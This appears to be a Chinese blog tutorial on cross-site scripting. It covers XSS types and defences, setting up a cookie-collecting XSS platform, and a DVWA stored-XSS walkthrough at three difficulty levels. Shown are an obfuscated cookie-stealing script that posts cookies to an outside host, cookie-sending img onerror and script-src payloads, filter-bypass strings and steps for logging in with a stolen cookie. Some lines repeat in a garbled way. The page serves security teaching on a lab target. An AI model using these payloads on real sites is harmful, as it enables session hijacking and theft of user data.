总字符数: 22.14K

代码: 9.82K, 文本: 5.29K

预计阅读时间: 1.09 小时

XSS概念

​ XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.

​ 它指的是攻击者往Web页面里插入恶意js代码,当用户浏览该页面的时候,嵌入Web其中的html代码就会被执行,从而达到恶意攻击用户的特殊目的.

​ 在XSS攻击中,一般有三个角色参与:攻击者、目标服务器、受害者的浏览器.

​ 由于有的服务器并没有对用户的输入进行安全方面的验证,攻击者就可以很容易地通过正常的输入手段,夹带进一些恶意的HTML脚本代码.

​ 当受害者的浏览器访问目标服务器上被注入恶意脚本的页面后,由于浏览器对目标服务器的信任,这段恶意脚本的执行不会受到什么阻碍.

​ 此时,攻击者的目的就已经达到了.

XSS指的是跨站脚本攻击,也叫跨站脚本漏洞.

跨站脚本攻击发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码、植马挖矿、刷流量、劫持后台、篡改页面、内网扫描、制造蠕虫等攻击.

窃取隐私

攻击者可以通过XSS攻击在用户浏览器上执行脚本,窃取cookie、浏览器历史、IP地址等私人信息,并将这些信息发送到攻击者控制的服务器.

钓鱼欺骗

利用XSS在用户浏览的页面上生成假的登录框或提示信息,欺骗用户输入敏感信息,如用户名和密码,随后将这些信息发送到攻击者的服务器.

窃取密码

通过XSS注入的脚本捕捉用户在表单中输入的密码或其他敏感数据,并在用户提交表单时将这些信息拦截并发送给攻击者.

传播恶意代码

攻击者通过XSS将恶意脚本注入至受害者网站,此脚本可能会自动下载恶意程序到访问者的计算机上,从而感染更多的系统.

植马挖矿

“植马”指的是在用户的计算机上植入后门程序.”挖矿”则是指通过XSS注入的脚本在用户的浏览器中悄悄执行加密货币挖矿.

刷流量

攻击者可以通过XSS在受害者的网页中嵌入自动重定向的脚本,将用户不知不觉中重定向到其他网站,以人为制造流量.

劫持后台

如果管理人员的浏览器受到XSS攻击,攻击者可能窃取管理员的会话cookie,进而获取足够的权限访问网站后台进行控制.

篡改页面

通过XSS攻击,攻击者可以实时修改用户所看到的网页内容,添加虚假信息或广告,实现诈骗等目的.

内网扫描

攻击者可以利用XSS脚本在受害者浏览器中执行端口扫描或网络探测,以识别内网中的其他设备和服务,为进一步攻击做准备.

制造蠕虫

利用XSS漏洞构造自我复制并自动传播的恶意脚本(即蠕虫),一旦用户浏览了含有蠕虫的页面,蠕虫便会持续通过社交工程或其他机制传播,增加受害者数量.

XSS攻击使用到的技术主要为HTMLJavascript.

XSS攻击对WEB服务器无直接危害,但是它借助网站进行传播,使网站的使用用户受到攻击,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害.

XSS原理

XSS攻击的原理是利用Web应用程序中存在的漏洞,通过注入恶意脚本,从而执行攻击者预设的操作.

通常:XSS攻击需要满足以下两个条件

  1. Web应用程序存在输入数据不严谨的漏洞,比如没有对用户输入的数据进行过滤或转义.
  2. Web应用程序存在输出数据不严谨的漏洞,比如没有对从数据库中读取的数据进行过滤或转义.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
// 初始化一个变量用于存储 HTML 内容
$html='';

// 检查是否有提交
if(isset($_GET['submit'])){
// 检查输入的消息是否为空
if(empty($_GET['message'])){
// 如果为空,添加提示消息
$html.="<p class='notice'>输入一段内容试试</p>";
}else{
// 如果不为空,添加用户输入的消息
$html.="<p class='notice'>{$_GET['message']}</p>";
}
}
?>

<div id="xssr_main">
<form method="get">
<input class="xssr_in" type="text" maxlength="100" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
<!-- 输出 HTML 内容-->
<?php echo $html; ?>
</div>

XSS类型

根据攻击的方式和影响范围,XSS可以分为以下三种类型

存储型

存储型XSS(又称持久性xss):攻击者将恶意脚本存储在服务器上,当用户访问受害者网站时,恶意脚本会被注入到网页中.这种类型的XSS攻击可以长期存在于网站上,对所有访问该网站的用户都产生影响.

攻击者上传的包含恶意js脚本的留言等信息被Web应用程序保存到数据库中,Web应用程序在生成新的页面的时候如果包含了该恶意js脚本,这样会导致所有访问该网页的浏览器解析执行该恶意脚本.

过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下:

  1. 用户正常浏览信息
  2. 通过发帖向服务器发送存在恶意代码的帖子
  3. 用户查看帖子内容
  4. 服务器将恶意的代码发送给用户
  5. 用户端浏览器执行恶意代码

存储型XSS可能出现的位置:用户注册类,用户名,注册邮箱,手机号,个人说明,留言评论,发布文章公告

反射型

反射型XSS(只能触发一次,也称作”非持久型XSS”):攻击者将恶意脚本注入到一个链接中,当用户点击该链接时,恶意脚本会被传递给服务器,服务器返回响应时,恶意脚本会被注入到响应中,最终被用户浏览器执行.这种类型的XSS攻击只对点击链接的用户产生影响,攻击者需要欺骗用户点击恶意链接.

​ 具体表现在受害者点击了含有恶意JavaScript脚本的url,而Web应用程序只是不加处理的把该恶意脚本”反射”回受害者的浏览器而使受害者的浏览器执行响应的脚本.

过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下:

  1. 用户正常浏览信息
  2. 攻击者诱导用户点击恶意的URL
  3. 用户点击恶意攻击者提供的URL
  4. 服务器对攻击者的JS做出回应
  5. 攻击者的JS在客户端浏览器执行

反射型XSS可能出现的位置:一般出现在URL参数中及网站搜索栏.

DOM型

DOM型XSS:攻击者通过修改页面的DOM结构,注入恶意脚本,从而实现攻击.这种类型的XSS攻击不涉及服务器端,完全在客户端进行,因此防御起来比较困难.

DOM,全称是Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构和样式.

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM 文档对象模型的一种漏洞,而且不需要与服务器进行交互.

客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行.基于这个特性,就可以利用JS脚本来实现XSS 漏洞的利用.

当页面的JavaScript脚本处理不可信的数据并动态更新DOM时,未经适当清理或转义的恶意输入可以导致JavaScript代码被恶意操纵,从而执行攻击者注入的脚本。

与前面两种XSS的区别就在于xss代码不需要服务器解析响应的直接参与,触发xss靠的是浏览器端的DOM解析.

通过前端脚本修改页面的DOM节点形成的XSS,代码可见,从前端获取到的DOM中的数据在本地执行,从效果上来说也是反射型XSS

XSS攻击场景

XSS攻击可以发生在各种Web应用程序中,包括社交网络、电子商务、论坛等各种网站.

以下是一些常见的 XSS攻击场景:

  1. 评论区:攻击者可以在评论区注入恶意脚本,从而攻击访问该页面的所有用户.
  2. 搜索框:攻击者可以在搜索框注入恶意脚本,从而攻击使用该搜索框的所有用户.
  3. 表单:攻击者可以在表单中注入恶意脚本,从而攻击提交该表单的用户.
  4. URL参数:攻击者可以在URL参数中注入恶意脚本,从而攻击点击该链接的用户.
  5. Cookie:攻击者可以在cookie中注入恶意脚本,从而攻击所有访问该网站的用户.
危险请不要打开这个!!!
  1. 分页和排序:Web应用可能使用URL参数来控制分页和排序,如果未对这些参数进行适当的过滤和转义,可能会导致反射型XSS
  2. 数据可视化和报表:在展示数据可视化和报表时,Web应用可能使用用户输入的参数来生成图表。如果未对这些参数进行适当的过滤和转义,可能导致反射型XSS
  3. 路径导航:Web应用可能在路径导航中包含用户输入的内容。如过没有正确处理这些输入,可能导致反射型XSS。
  4. HTTP响应:攻击者可以通过修改Web应用程序发送的HTTP响应来注入恶意脚本,例如在响应的HTML、JavaScript或CSS代码中注入恶意代码。
  5. 第三方组件:Web应用程序可能包含来自第三方的组件,例如广告、社交媒体插件等,这些组件可能存在安全漏洞,使得攻击者可以利用它们来注入恶意脚本。
  6. 富文本编辑器:富文本编辑器允许用户以富文本格式创建和编辑内容,但可能会存在安全漏洞。
  7. AJAX:AJAX(异步JavaScript和XML)是一种在Web应用程序中动态加载数据的技术,攻击者可以利用AJAX来注入恶意脚本。
  8. WebSocket:WebSocket是一种在Web应用程序中实现实时通信的技术,攻击者可以利用WebSocket来注入恶意脚本。
  9. JSONP:JSONP(JSON with Padding)是一种在Web应用程序中实现跨域请求的技术,攻击者可以利用JSONP来注入恶意脚本。

XSS防御措施

为了有效防御XSS攻击,Web应用程序需要采取以下措施:

  1. 输入数据过滤和转义:对于所有从用户输入的数据,应该进行过滤和转义,从而防止恶意脚本注入.例如,可以使用HTML编码对输入数据进行转义,或者使用黑名单和白名单的方式进行过滤.
  2. 输出数据过滤和转义:对于所有输出到浏览器的数据,应该进行过滤和转义,从而防止恶意脚本被执行.例如,可以使用JS编码对输出数据进行转义,或者使用内容安全策略(CSP)进行过滤.
  3. 对Cookie进行安全设置:Web应用程序应该对Cookie进行安全设置,例如设置HttpOnly属性,从而防止恶意脚本窃取Cookie.
  4. 使用Web应用程序防火墙:Web应用程序防火墙(WAF)可以检测和阻止XSS攻击,可以有效地提高Web应用程序的安全性.
  5. 安全编程实践:Web应用程序开发者应该采用安全编程实践,例如使用最少特权原则,避免使用eval()innerHTML等危险的函数,避免使用自定义的解析器等.

Xss平台搭建

宝塔创建站点
下载源码
1
2
3
4
git clone https://github.com/78778443/xssplatform.git
cd /xssplatform
mv xssplatform/* ./
rm -rf xssplatform
添加host记录

由于上方的ip被使用了我改成了域名所以这里需要添加HOST记录

搞完之后记得刷新DNS缓存不要指向错了IP,我就顺手指向了本机IP..有代理的记得关掉或者用插件配置成直接连接

安装Xss平台
我们把`xssplatform`这个文件夹赋予给www用户并且设置755权限
变成绿色了

还需要编辑一下配置文件填入我们的数据库配置信息

写入相关信息

设置nginx伪静态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
## 路由重写范例
### .htaccess方式

文件写入以下代码:
RewriteEngine On
RewriteRule ^([0-9a-zA-Z]{6})$ /xss/index.php?do=code&urlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ /xss/index.php?do=do&auth=$1&domain=$3 [L]
RewriteRule ^register/(.*?)$ /xss/index.php?do=register&key=$1 [L]
RewriteRule ^register-validate/(.*?)$ /xss/index.php?do=register&act=validate&key=$1 [L]
RewriteRule ^login$ /xss/index.php?do=login [L]




### apache方式
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^([0-9a-zA-Z]{6})$ /index.php?do=code&urlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ /index.php?do=do&auth=$1&domain=$3 [L]
RewriteRule ^register/(.*?)$ /index.php?do=register&key=$1 [L]
RewriteRule ^register-validate/(.*?)$ /index.php?do=register&act=validate&key=$1 [L]
</IfModule>


#### nginx方式
rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 last;
rewrite "^/do/auth/(\w+?)(/domain/([\w\.]+?))?$" /index.php?do=do&auth=$1&domain=$3 last;
rewrite "^/register/(.*?)$" /index.php?do=register&key=$1 last;
rewrite "^/register-validate/(.*?)$" /index.php?do=register&act=validate&key=$1 last;

我这里是nginx,选择最后一个

存储型XSS演示

低级

分析前端

首先我们进入到DVWA中将难度选择为LOW

之后我们进入XSS(Stored)中.在进行测试前我们可以先对提交点进行审查元素. 对着目标右键选择审查元素

接下来我们查看两个输入框的属性. 可以看到有输入长度的限制.其中Name maxlength=10 Message maxlength=50.不难看出一个长度为10一个长度为50.
当然对于前端的长度限制我们是可以使用抓包工具去绕过.或者直接在本地修改html属性.如将maxlength改为100,这样前端的输入限制就可以轻松绕过了.

​ 在安全编码中,将安全的设置放置于用户端,虽然可以减轻服务器的工作量,但是如果服务端没有其他措施的话,则会很轻松的进行绕过. 我们首先尝试使用短 XSS payload 进行尝试.

1
payload:<script>alert(1)</script>

payload注入成功证明存在漏洞

使用Xss平台盗取Cookie

xms.la窃取Cookie原理详解
1
try { var r0; var r1; var r2; try { r0 = window.btoa(eval(window.atob('ZG9jdW1lbnQuY29va2ll'))) } catch { r0 = document.cookie }; try { r1 = window.btoa(eval(window.atob('ZG9jdW1lbnQucmVmZXJyZXI='))) } catch { r1 = document.referrer }; try { r2 = window.btoa(eval(window.atob('ZG9jdW1lbnQuVVJM'))) } catch { r2 = document.URL }; var xhr = null; var x1 = "aHR0cHM6Ly94bXMubGEvVDBWRTY="; try { xhr = new XMLHttpRequest() } catch (e) { xhr = new ActiceXObject('Microsoft.XMLHttp') }; xhr.open(window.atob('cG9zdA=='), window.atob(x1), true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.send('r0=' + r0 + '&r1=' + r1 + '&r2=' + r2 + "&c=T0VE6"); } catch { }
  1. 定义三个变量:r0,r1,r2.
  2. 试图执行一些base64解码的JavaScript代码.如果执行失败,就会捕捉到异常,并将文档的相应值赋给这些变量.
  3. 使用window.btoa函数将数据编码为base64格式,而window.atob函数用于解码base64编码的字符串.
  4. 该脚本尝试从文档对象中收集三个信息:
    • document.cookie – 当前域名存储的cookies.
    • document.referrer – 引导用户跳转到当前页面的上一个页面的URL.
    • document.URL – 当前页面的完整URL.
  5. 这些信息随后被编码为base64格式.
  6. 创建一个XMLHttpRequest对象以发送异步HTTP请求.
  7. 配置请求为对一个base64编码(解码后为https://xms.la/T0VE6)的URL进行POST请求.
  8. 请求头指定内容类型为URL编码的表单数据.
  9. 将收集并编码的信息(r0r1r2)作为请求负载发送,附加了一个额外的参数c.

现在,让我们将混淆的base64编码字符串解码:

  • 'ZG9jdW1lbnQuY29va2ll' 解码为 'document.cookie'
  • 'ZG9jdW1lbnQucmVmZXJyZXI=' 解码为 'document.referrer'
  • 'ZG9jdW1lbnQuVVJM' 解码为 'document.URL'
  • 'cG9zdA==' 解码为 'post'
  • 'aHR0cHM6Ly94bXMubGEvVDBWRTY=' 解码为一个URL 'https://xms.la/T0VE6'

在带注释的代码中,可以更清晰的看到每一步的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
try {
var r0; // 存储编码后的cookie
var r1; // 存储编码后的引用页URL(referrer)
var r2; // 存储编码后的当前页URL

// 尝试获取并编码当前文档的cookie.
try {
r0 = window.btoa(eval(window.atob('document.cookie')))
} catch {
r0 = document.cookie
};

// 尝试获取并编码引用页的URL(即上一个访问页面的URL).
try {
r1 = window.btoa(eval(window.atob('document.referrer')))
} catch {
r1 = document.referrer
};

// 尝试获取并编码当前文档的URL.
try {
r2 = window.btoa(eval(window.atob('document.URL')))
} catch {
r2 = document.URL
};

var xhr = null; // 用来发起HTTP请求的对象

// 解码基础URL,用于发起请求.
var x1 = "https://xms.la/T0VE6";

// 创建XMLHttpRequest对象.
try {
xhr = new XMLHttpRequest()
} catch (e) {
xhr = new ActiveXObject('Microsoft.XMLHttp')
};

// 配置POST请求.
xhr.open('post', x1, true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

// 发送编码后的数据.
xhr.send('r0=' + r0 + '&r1=' + r1 + '&r2=' + r2 + "&c=T0VE6");
} catch { }
  1. 点击项目名称
  2. 点击查看代码
  3. 复制以下内容构造payload
1
<script src=http://xss.moon.com/Q7yYOv?1661821878></script>
  1. 将payload植入到留言板
  2. 回到Xss平台查看项目内容
    自动获取到了Cookie
  3. 伪造登录
    1. 记录上线机器的地址以及cookie
    2. Burp抓包登录
  1. 成功登录

漏洞源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
// 判断POST过来的数据中是否存在btnSign字段,如果不存在则结束
if( isset( $_POST[ 'btnSign' ] ) ) {
// 接收POST中的mtxMessage字段以及txtName
//
/**
* trim ( string $str [, string $character_mask = " \t\n\r\0\x0B" ] ) : string
* 参数str 待处理的字符串
* character_mask 可选参数,过滤字符也可由 character_mask 参数指定.一般要列出所有希望过滤的字符,也可以使用 ".." 列出一个字符范围.
* 返回值 过滤后的字符串.
*/
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// stripslashes ( string $str ) 反引用一个引用字符串.
// 返回值 返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等).双反斜线(\\)被转换为单个反斜线(\)
$message = stripslashes( $message );
/**
* mysqli_real_escape_string() 函数
* mysqli_real_escape_string(connection,escapestring);
* connection 必需.规定要使用的 MySQL 连接.
* escapestring 必需.要转义的字符串.编码的字符是 NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z.
* 如果不转义插入到数据库的时候则会报错
*/
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// 更新数据库
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
// 输出留言板内容
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
}

可以看到源码中并没有对用户输入的数据进行过滤等操作可以直接注入payload

中级

分析前端

可以看到<script></scrpit>被过滤掉了,我们尝试绕过

  1. 大小写绕过<ScrIpt></ScRipt>
  2. 双写绕过<scri<script>pt></scr</script>ipt>

通过测试后发现2种方式都被过滤,然后尝试name输入框,将长度限制改掉然后输入payload

使用Xss平台盗取Cookie

注意:这里有个小Tip:
1
就是注入<script>会失败但是注入<script src>不会失败.会在源码分析里说明 

漏洞源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
// 判断POST过来的数据中是否存在btnSign字段,如果不存在则结束
if( isset( $_POST[ 'btnSign' ] ) ) {
// 接收POST中的mtxMessage字段以及txtName
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
/**
addslashes ( string $str ) :返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线.这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符).
strip_tags ( string $str) : 该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果.它使用与函数 fgetss() 一样的机制去除标记.
*/
$message = strip_tags( addslashes( $message ) );
/**
* mysqli_real_escape_string() 函数
* mysqli_real_escape_string(connection,escapestring);
* connection 必需.规定要使用的 MySQL 连接.
* escapestring 必需.要转义的字符串.编码的字符是 NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z.
* 如果不转义插入到数据库的时候则会报错
*/
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// name字段处理
/**
* str_replace - 子字符串替换
*str_replace ( mixed $search , mixed $replace , mixed $subject )
*search 查找的目标值,也就是 needle.一个数组可以指定多个目标.
*replace search 的替换值.一个数组可以被用来指定多重替换.
*subject 执行替换的数组或者字符串.也就是 haystack.
* 如果 subject 是一个数组,替换操作将遍历整个 subject,返回值也将是一个数组.
*/

//由于我们注入的payload是外部的所以完整标签中有src属性并不会匹配<script>所以过滤失败
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// 更新数据库
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

}

高级

分析前端

正常顺序测试2个输入框,2种绕过方式都不可以,那我们就要想其他方式,比如其他标签<img>
payload:<img src=x onerror='alert(1)'>

其实绕过方式并不止于script

1
<img src=x onerror="this.src='//192.168.1.118/?'+document.cookie;this.removeAttribute('onerror');">

漏洞源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

// 检查是否通过POST方法提交了名为'btnSign'的表单字段
if( isset( $_POST[ 'btnSign' ] ) ) {
// 获取用户输入,来自POST请求的'mtxMessage'和'txtName'字段
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// 清洁message输入: 移除HTML标签,并对特殊字符添加反斜杠
$message = strip_tags( addslashes( $message ) );
// 对$message进行转义,防止SQL注入
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 对$message进行HTML字符转换,防止XSS攻击
$message = htmlspecialchars( $message );

// 清洁name输入: 使用正则表达式移除所有类似于<script>标签的内容,防止XSS攻击
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
// 对$name进行转义,防止SQL注入
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// 构建SQL查询,将清洁过的$message和$name插入数据库的guestbook表中
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
// 执行SQL查询,如果查询失败则输出错误信息
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 关闭MySQL连接
// mysql_close();
}
?>

常用xss语句

测试XSS漏洞最基本的语句如下:

1
2
3
4
5
<script>alert(1)</script> 
<script>alert(document.cookie)</script>
<img src=x onerror=alert(document.cookie)>
<svg onload=alert(document.cookie)>
<a href=`JavaScript`:alert(document.cookie)>

当然,许多程序对这些常见标签都做了过滤,然而我们在DVWA中也见识到了不合理、不彻底的过滤.

面对过滤有几种基本的思路

  1. 避开过滤关键字,实现同样效果.

    具体在XSS语句中,可以通过替换标签,替换元素内容来实现.对html和JavaScript了解越多,就越能找到可替换的代码.
    
  2. 通过某种混淆来实现绕过过滤.

    1. 如大小写绕过

      1
      <ScRiPt>alert(1)</ScRiPt>
    2. 编码绕过

      1
      %3c%53cript%3e alert(1) 3c%2f%53cript%3e
    3. 双写绕过

      1
      <scr<script>ipt>alert(1)</scr</script>ipt> 

绕过方式备忘录

总结

XSS攻击是一种常见的Web应用程序安全漏洞,可以被攻击者用来窃取用户的敏感信息、执行恶意操作等. 为了有效防御XSS攻击,Web应用程序需要采取输入数据过滤和转义、输出数据过滤和转义、设置HTTP头、 对Cookie进行安全设置、使用Web应用程序防火墙、安全编程实践等措施.只有综合应用这些措施,才能保护Web应用程序免受XSS攻击的威胁.